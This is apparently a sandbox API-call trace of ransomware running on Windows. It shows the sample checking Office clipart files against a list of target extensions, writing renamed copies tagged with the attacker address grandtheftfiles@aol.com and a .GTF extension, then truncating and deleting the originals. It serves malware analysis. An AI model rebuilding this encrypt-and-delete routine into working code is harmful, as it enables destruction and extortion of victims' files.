	[0081.105] lstrlenW (lpString=".dbf") returned 4
	[0081.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.105] lstrlenW (lpString=".1cd") returned 4
	[0081.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.105] lstrlenW (lpString=".jpg") returned 4
	[0081.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.105] lstrlenW (lpString=".doc") returned 4
	[0081.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.105] lstrlenW (lpString=".docx") returned 5
	[0081.105] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.105] lstrlenW (lpString=".pdf") returned 4
	[0081.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.105] lstrlenW (lpString=".xls") returned 4
	[0081.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.105] lstrlenW (lpString=".xlsx") returned 5
	[0081.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.105] lstrlenW (lpString=".ppt") returned 4
	[0081.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.105] lstrlenW (lpString=".zip") returned 4
	[0081.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.105] lstrlenW (lpString=".rar") returned 4
	[0081.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.105] lstrlenW (lpString=".bz2") returned 4
	[0081.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.105] lstrlenW (lpString=".7z") returned 3
	[0081.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.105] lstrlenW (lpString=".dbf") returned 4
	[0081.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.106] lstrlenW (lpString=".1cd") returned 4
	[0081.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.106] lstrlenW (lpString=".jpg") returned 4
	[0081.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.106] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.106] lstrlenW (lpString="AN03500_.WMF") returned 12
	[0081.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.106] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=9240) returned 1
	[0081.106] CloseHandle (hObject=0x390) returned 1
	[0081.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220
	[0081.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.107] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.107] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0081.107] GetLastError () returned 0x0
	[0081.107] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2418, lpOverlapped=0x0) returned 1
	[0081.109] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2420, lpOverlapped=0x0) returned 1
	[0081.110] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.110] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.110] SetEndOfFile (hFile=0x37c) returned 1
	[0081.111] CloseHandle (hObject=0x37c) returned 1
	[0081.112] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.112] SetEndOfFile (hFile=0x390) returned 1
	[0081.112] CloseHandle (hObject=0x390) returned 1
	[0081.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1
	[0081.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.113] lstrlenW (lpString=".doc") returned 4
	[0081.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.113] lstrlenW (lpString=".docx") returned 5
	[0081.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.113] lstrlenW (lpString=".pdf") returned 4
	[0081.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.113] lstrlenW (lpString=".xls") returned 4
	[0081.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.113] lstrlenW (lpString=".xlsx") returned 5
	[0081.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.113] lstrlenW (lpString=".ppt") returned 4
	[0081.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.113] lstrlenW (lpString=".zip") returned 4
	[0081.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.113] lstrlenW (lpString=".rar") returned 4
	[0081.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.114] lstrlenW (lpString=".bz2") returned 4
	[0081.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.114] lstrlenW (lpString=".7z") returned 3
	[0081.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.114] lstrlenW (lpString=".dbf") returned 4
	[0081.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.114] lstrlenW (lpString=".1cd") returned 4
	[0081.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.114] lstrlenW (lpString=".jpg") returned 4
	[0081.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.115] lstrlenW (lpString=".doc") returned 4
	[0081.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.115] lstrlenW (lpString=".docx") returned 5
	[0081.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.115] lstrlenW (lpString=".pdf") returned 4
	[0081.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.115] lstrlenW (lpString=".xls") returned 4
	[0081.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.115] lstrlenW (lpString=".xlsx") returned 5
	[0081.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.115] lstrlenW (lpString=".ppt") returned 4
	[0081.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.115] lstrlenW (lpString=".zip") returned 4
	[0081.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.115] lstrlenW (lpString=".rar") returned 4
	[0081.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.115] lstrlenW (lpString=".bz2") returned 4
	[0081.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.115] lstrlenW (lpString=".7z") returned 3
	[0081.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.115] lstrlenW (lpString=".dbf") returned 4
	[0081.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.115] lstrlenW (lpString=".1cd") returned 4
	[0081.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0081.115] lstrlenW (lpString=".jpg") returned 4
	[0081.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.116] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.116] lstrlenW (lpString="AN04108_.WMF") returned 12
	[0081.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.118] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2344) returned 1
	[0081.118] CloseHandle (hObject=0x390) returned 1
	[0081.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220
	[0081.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.118] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.118] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0081.118] GetLastError () returned 0x0
	[0081.118] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x928, lpOverlapped=0x0) returned 1
	[0081.121] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x930, lpOverlapped=0x0) returned 1
	[0081.122] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.122] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.122] SetEndOfFile (hFile=0x37c) returned 1
	[0081.122] CloseHandle (hObject=0x37c) returned 1
	[0081.123] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.123] SetEndOfFile (hFile=0x390) returned 1
	[0081.124] CloseHandle (hObject=0x390) returned 1
	[0081.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1
	[0081.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.124] lstrlenW (lpString=".doc") returned 4
	[0081.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.124] lstrlenW (lpString=".docx") returned 5
	[0081.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.124] lstrlenW (lpString=".pdf") returned 4
	[0081.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.125] lstrlenW (lpString=".xls") returned 4
	[0081.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.125] lstrlenW (lpString=".xlsx") returned 5
	[0081.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.125] lstrlenW (lpString=".ppt") returned 4
	[0081.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.125] lstrlenW (lpString=".zip") returned 4
	[0081.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.125] lstrlenW (lpString=".rar") returned 4
	[0081.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.125] lstrlenW (lpString=".bz2") returned 4
	[0081.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.125] lstrlenW (lpString=".7z") returned 3
	[0081.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.125] lstrlenW (lpString=".dbf") returned 4
	[0081.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.125] lstrlenW (lpString=".1cd") returned 4
	[0081.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.125] lstrlenW (lpString=".jpg") returned 4
	[0081.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.125] lstrlenW (lpString=".doc") returned 4
	[0081.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.125] lstrlenW (lpString=".docx") returned 5
	[0081.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.125] lstrlenW (lpString=".pdf") returned 4
	[0081.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.125] lstrlenW (lpString=".xls") returned 4
	[0081.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.125] lstrlenW (lpString=".xlsx") returned 5
	[0081.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.126] lstrlenW (lpString=".ppt") returned 4
	[0081.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.126] lstrlenW (lpString=".zip") returned 4
	[0081.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.126] lstrlenW (lpString=".rar") returned 4
	[0081.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.126] lstrlenW (lpString=".bz2") returned 4
	[0081.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.126] lstrlenW (lpString=".7z") returned 3
	[0081.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.126] lstrlenW (lpString=".dbf") returned 4
	[0081.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.126] lstrlenW (lpString=".1cd") returned 4
	[0081.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0081.126] lstrlenW (lpString=".jpg") returned 4
	[0081.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.126] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.126] lstrlenW (lpString="AN04117_.WMF") returned 12
	[0081.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.126] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=6060) returned 1
	[0081.127] CloseHandle (hObject=0x390) returned 1
	[0081.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220
	[0081.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.127] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.127] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0081.127] GetLastError () returned 0x0
	[0081.127] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x17ac, lpOverlapped=0x0) returned 1
	[0081.681] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x17b0, lpOverlapped=0x0) returned 1
	[0081.702] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.702] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.702] SetEndOfFile (hFile=0x37c) returned 1
	[0081.702] CloseHandle (hObject=0x37c) returned 1
	[0081.703] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.703] SetEndOfFile (hFile=0x390) returned 1
	[0081.704] CloseHandle (hObject=0x390) returned 1
	[0081.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1
	[0081.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.704] lstrlenW (lpString=".doc") returned 4
	[0081.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.705] lstrlenW (lpString=".docx") returned 5
	[0081.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.705] lstrlenW (lpString=".pdf") returned 4
	[0081.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.705] lstrlenW (lpString=".xls") returned 4
	[0081.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.705] lstrlenW (lpString=".xlsx") returned 5
	[0081.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.705] lstrlenW (lpString=".ppt") returned 4
	[0081.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.705] lstrlenW (lpString=".zip") returned 4
	[0081.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.705] lstrlenW (lpString=".rar") returned 4
	[0081.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.705] lstrlenW (lpString=".bz2") returned 4
	[0081.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.705] lstrlenW (lpString=".7z") returned 3
